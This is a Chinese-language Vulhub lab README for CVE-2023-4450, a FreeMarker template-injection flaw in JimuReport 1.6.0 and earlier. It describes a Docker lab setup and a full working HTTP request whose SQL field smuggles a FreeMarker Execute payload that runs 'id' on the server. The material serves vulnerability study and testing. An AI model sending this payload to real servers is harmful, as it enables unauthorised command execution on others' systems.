Files
vulhub/jimureport/CVE-2023-4450/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

43 lines
1.4 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JeecgBoot JimuReport FreeMarker 服务端模板注入命令执行CVE-2023-4450
积木报表JimuReport是隶属于JeecgBoot项目下的一个开源的数据可视化报表平台。在其1.6.0版本及以前存在一个FreeMarker服务端模板注入SSTI漏洞攻击者利用该漏洞可在服务器中执行任意命令。
参考链接:
- <https://github.com/advisories/GHSA-j8h5-8rrr-m6j9>
- <https://whoopsunix.com/docs/java/named%20module/>
- <https://www.reajason.eu.org/writing/freemarkersstimemshell/>
## 漏洞环境
执行如下命令启动一个JimuReport 1.6.0演示服务器:
```
docker compose up -d
```
等待一段时间后,访问`http://your-ip:8085`即可看到报表首页。
## 漏洞复现
发送如下请求即可在服务端注入FreeMarker模板`<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}`
```
POST /jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8085
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 100
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }
```
可见,`id`命令已经成功被执行:
![](1.png)